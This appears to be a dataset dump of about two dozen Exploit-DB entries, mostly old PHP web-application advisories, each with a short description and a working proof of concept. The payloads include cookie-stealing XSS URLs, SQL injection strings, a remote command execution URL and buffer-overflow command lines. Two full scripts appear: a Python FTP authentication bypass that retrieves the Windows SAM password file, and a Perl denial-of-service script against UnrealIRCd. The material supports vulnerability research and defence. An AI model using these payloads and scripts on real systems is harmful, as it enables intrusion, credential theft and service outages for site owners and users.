QLWD/code_shield huggingface dataset:
标题: Invision Power Board (IP.Board) 2.0.4 - Search Action Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27436 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info

Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in=ooo&result_type='><script>alert(document.cookie)</script>
http://www.example.com/forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb0242889889796819a2b367&search_in='><script>alert(document.cookie)</script>&result_type=posts
http://www.example.com/forum/index.php?act=Search&nav='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27436
标题: Invision Power Board (IP.Board) 2.0.4 - Mail Action 'MID' Cross-Site Scripting EDB-ID: 27440 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info
    
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Mail&CODE=00&MID='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27440
标题: Oxynews - 'index.php' SQL Injection EDB-ID: 27434 CVE: 2006-1271 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/17132/info

Oxynews is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/oxynews/index.php?oxynews_comment_id=[sql] URL: https://www.exploit-db.com/exploits/27434
标题: phpMyAdmin 2.8.1 - Set_Theme Cross-Site Scripting EDB-ID: 27435 CVE: 2006-1258 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/17142/info

phpMyAdmin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/index.php?set_theme=%3Cscript%3Ealert(XSS);%3C/script%3E URL: https://www.exploit-db.com/exploits/27435
标题: PHPFox 3.6.0 (build3) - Multiple SQL Injections EDB-ID: 27430 CVE: 2013-5121 2013-5120 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-08 漏洞利用脚本: ------------------------------------------------------------
PHPFox v3.6.0 (build3) Multiple SQL Injection vulnerabilities
------------------------------------------------------------

== Description ==
- Software link: http://www.phpfox.com
- Affected versions: version 3.6.0 (build3) is vulnerable. Other
versions might be affected as well.
- Vulnerability discovered by: Matias Fontanini

== Vulnerabilities ==
When performing POST requests to /user/browse/view_/, the
"search[gender]" and "search[sort_by]" parameters are not correctly
sanitized before being used to construct SQL queries, making them
vulnerable to Blind SQL Injection attacks.

== Proof of concept ==

- For the "search[gender]" parameter, using the condition "1=0" so
that no results are returned:

POST /user/browse/view_/
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2
and 1=0search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=DESC

- The "search[sort_by]" parameter is inserted in a "order by" clause.
Therefore, an attacker could exploit it by making the application sort
the results based on a different criteria, depending on whether the
query was successful:

POST /user/browse/view_/
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2&search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=ASC,(case
when (select 1 from dual) then birthday_search else password end)

== Solution ==
Upgrade the product to the 3.6.0 (build6) version. Note that builds 4
and 5 also contain the vulnerability present in the "search[sort_by]"
parameter, but not the other one.

== Report timeline ==
[2013-07-30] Vulnerability reported to vendor.
[2013-07-30] Developers answered back indicating that an update would
be released soon.
[2013-08-07] PHPFox 3.6.0 (build6) was released, which fixed all of
the issues reported.
[2013-08-07] Public disclosure. URL: https://www.exploit-db.com/exploits/27430
标题: Invision Power Services Invision Board 2.0.4 - Members Action Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27442 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info
      
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='><script>alert(document.cookie)</script>
http://www.example.com/forum/index.php?act=Members&max_results='><script>alert(document.cookie)</script>&sort_key=posts&sort_order=desc
http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key='><script>alert(document.cookie)</script>&sort_order=desc&sort_order=desc URL: https://www.exploit-db.com/exploits/27442
标题: Invision Power Board (IP.Board) 2.0.4 - Print Action 't' Cross-Site Scripting EDB-ID: 27439 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info
   
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Print&client=printer&f=1&t='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27439
标题: GGZ Gaming Zone 0.0.12 - Multiple Denial of Service Vulnerabilities EDB-ID: 27421 CVE: 2006-1275 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17094/info

GGZ Gaming Zone is prone to multiple remote denial-of-service vulnerabilities. These issues are due to improper input sanitization.

An attacker may cause the victim's connection to the server to terminate, causing a denial of service to legitimate users.

Examples have been provided:

<PLAYER ID='mynick'' TYPE='guest' TABLE='-1' LAG='1'/>

<CHAT TYPE='normal' FROM='mynick'><![CDATA[aaaaaaaaaaaaaaaaaaaaaaa...
...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_end_here
<UPDATE TYPE='player' ACTION='lag' ROOM='0'> URL: https://www.exploit-db.com/exploits/27421
标题: Zoo 2.10 - Parse.c Local Buffer Overflow EDB-ID: 27425 CVE: 2006-1269 类型: DOS 平台: LINUX 发布日期: 2006-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/17126/info

Zoo is prone to a local buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the victim user running the affected application to potentially gain elevated privileges.

mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
touch feh
cd ../..
zoo a arch.zoo `perl -e 'print "A"x254 . "/" . "A"x254 . "/feh"'` URL: https://www.exploit-db.com/exploits/27425
标题: DSDownload 1.0 - Multiple SQL Injections EDB-ID: 27424 CVE: 2006-1232 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17116/info

DSDownload is prone to multiple SQL-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in SQL queries.

This will allow an attacker to inject arbitrary SQL logic into the vulnerable parameters and scripts. As a result, the attacker may be able to access or modify sensitive information, compromise the application, or even compromise the underlying database. Other attacks are possible.

http://www.example.com/dsdownload/downloads.php? category=999'% 20union%20select% 206,2,3,4,5, 1,7,8/* URL: https://www.exploit-db.com/exploits/27424
标题: WMNews - 'footer.php?ctrrowcol' Cross-Site Scripting EDB-ID: 27416 CVE: 2006-1233 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17076/info
 
WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/footer.php?ctrrowcol="><script>alert(/R00T3RR0R/)</script> URL: https://www.exploit-db.com/exploits/27416
标题: WMNews - 'wmview.php?ArtCat' Cross-Site Scripting EDB-ID: 27415 CVE: 2006-1233 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17076/info

WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/wmview.php?ArtCat="><script>alert(/R00T3RR0R/)</script> URL: https://www.exploit-db.com/exploits/27415
标题: DSCounter 1.2 - 'index.php' SQL Injection EDB-ID: 27423 CVE: 2006-1234 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17112/info

DSCounter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof of concept has been provided:

Get /index.php HTTP/1.0
Host: [host]
X-Forwarded-For: aaa' or 1/* URL: https://www.exploit-db.com/exploits/27423
标题: WMNews - 'wmcomments.php?ArtID' Cross-Site Scripting EDB-ID: 27417 CVE: 2006-1233 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17076/info
  
WMNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/wmcomments.php?act=vi&CmID=2&ArtID="><script>alert(/R00T3RR0R/)</script> URL: https://www.exploit-db.com/exploits/27417
标题: vCard 2.8/2.9 - 'create.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27414 CVE: 2006-1230 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/17073/info

vCard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/vcard/create.php?card_id='><script>alert(document.cookie)</script>

http://www.example.com/vcard/create.php?uploaded='><script>alert(document.cookie)</script>

http://www.example.com/vcard/create.php?card_fontsize='><script>alert(document.cookie)</script>

http://www.example.com/vcard/create.php?card_color='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27414
标题: Core News 2.0.1 - 'index.php' Remote Code Execution EDB-ID: 27413 CVE: 2006-1212 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17067/info

Core News is prone to a code-execution vulnerability. 

An attacker can exploit this issue to execute arbitrary malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

Core News version 2.0.1. is vulnerable; other versions may also be affected.

http://www.example.com/index.php?page=evilcode?&cmd=id URL: https://www.exploit-db.com/exploits/27413
标题: Firebird 1.5 - Inet_Server Local Buffer Overflow EDB-ID: 27418 CVE: 2006-1240 类型: DOS 平台: WINDOWS 发布日期: 2006-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17077/info

Firebird is susceptible to a local buffer-overflow vulnerability. This issue is due to the application's failure to properly check boundaries of user-supplied command-line argument data before copying it to an insufficiently sized memory buffer.

Attackers may exploit this issue to execute arbitrary machine code with elevated privileges, because the affected binaries are often installed with setuid privileges.

./fbserver -p `perl -e 'print "a"x155;'`1234 URL: https://www.exploit-db.com/exploits/27418
标题: QwikiWiki 1.4/1.5 - 'pageindex.php?help' Cross-Site Scripting EDB-ID: 27411 CVE: 2006-1196 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17064/info
  
QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/pageindex.php?nothing=nothing&help=[XSS] URL: https://www.exploit-db.com/exploits/27411
标题: QwikiWiki 1.4/1.5 - 'login.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27410 CVE: 2006-1196 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17064/info
 
QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/login.php?page=Home&action=Login&action=[XSS]&debug=1&help=true&username=1&password=1
http://www.example.com/login.php?page=[XSS]&action=Login&action=Login&debug=1&help=true&username=1&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=[XSS]&help=true&username=1&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=1&help=[XSS]&username=1&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=1&help=true&username=[XSS]&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=1&help=true&username=1&password=[XSS] URL: https://www.exploit-db.com/exploits/27410
标题: (Gabriel's FTP Server) Open & Compact FTP Server 1.2 - Authentication Bypass / Directory Traversal SAM Retrieval EDB-ID: 27401 CVE: 2010-2620 类型: REMOTE 平台: WINDOWS 发布日期: 2013-08-07 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: Open&Compact Ftp Server <= 1.2 Auth bypass & directory traversal sam retrieval
# Date: Aug 7, 2013
# By Wireghoul - http://www.justanotherhacker.com
# Based on Serge Gorbunov's auth bypass (http://www.exploit-db.com/exploits/13932/)
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: <= 1.2
# Tested on: Windows 7, Windows XP SP3

# Abusing authentication bypass in combination with a directory traversal to grab
# the sam file for offline cracking

import ftplib
import os

# Connect to server

ftp = ftplib.FTP( "192.168.58.135" )
ftp.set_pasv( False )

# Note that we need no authentication at all!!

print ftp.sendcmd( 'CWD C:\\\\windows\\\\repair\\\\' )
print ftp.retrbinary('RETR sam', open('sam', 'wb').write )

ftp.quit() URL: https://www.exploit-db.com/exploits/27401
标题: QwikiWiki 1.4/1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27409 CVE: 2006-1196 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17064/info

QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/index.php?page=Home&from=[XSS]
http://www.example.com/index.php?page=Home&help=[XSS]
http://www.example.com/index.php?page=Home&from=Home&help=[XSS] URL: https://www.exploit-db.com/exploits/27409
标题: QwikiWiki 1.4/1.5 - 'recentchanges.php?help' Cross-Site Scripting EDB-ID: 27412 CVE: 2006-1196 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17064/info
   
QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/recentchanges.php?nothing=nothing&help=[XSS] URL: https://www.exploit-db.com/exploits/27412
标题: UnrealIRCd 3.x - Remote Denial of Service EDB-ID: 27407 CVE: 2006-1214 类型: DOS 平台: WINDOWS 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17057/info

UnrealIRCd is prone to a remote denial-of-service vulnerability. A remote attacker may exploit this issue to deny service for legitimate users.

#!/usr/bin/perl

# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin@redneck.servebeer.com (Brandon Milner)

use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneck\n");

#################
#   Variables   #
#################
$spass = ("LinkPass");                          # Link Password
$lserver = ("your.server.name");                # Local Server name
$rserver = ("remote.server.name");              # Link Server
$rport = (6667);                                # Link Port
$snum = (6);                                    # Server numeric

#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
        PeerAddr => $rserver,
        PeerPort => $rport,
        Proto => 'tcp',
);

#################
#    Connect    #
#################
die "Couldn't create socket to $rserver / $rport!\n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spass\n");
print ("PASS $spass\n");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneck\n");
print ("SERVER $lserver 1 $snum :PoC by Redneck\n");
sleep 5;
print $sock ("TKL - q\x08Q *\x08PoC\n");
print ("TKL - q\x08Q *\x08PoC\n");
sleep 5; URL: https://www.exploit-db.com/exploits/27407
标题: MyBloggie 2.1.2/2.1.3 - 'edituser.php' Cross-Site Scripting EDB-ID: 27384 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
    
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=edituser&id=1&pass=yes&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="password" value='' />
<input type="text" name="repassword" value='' />
<input type="text" name="user" value='' /> 
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27384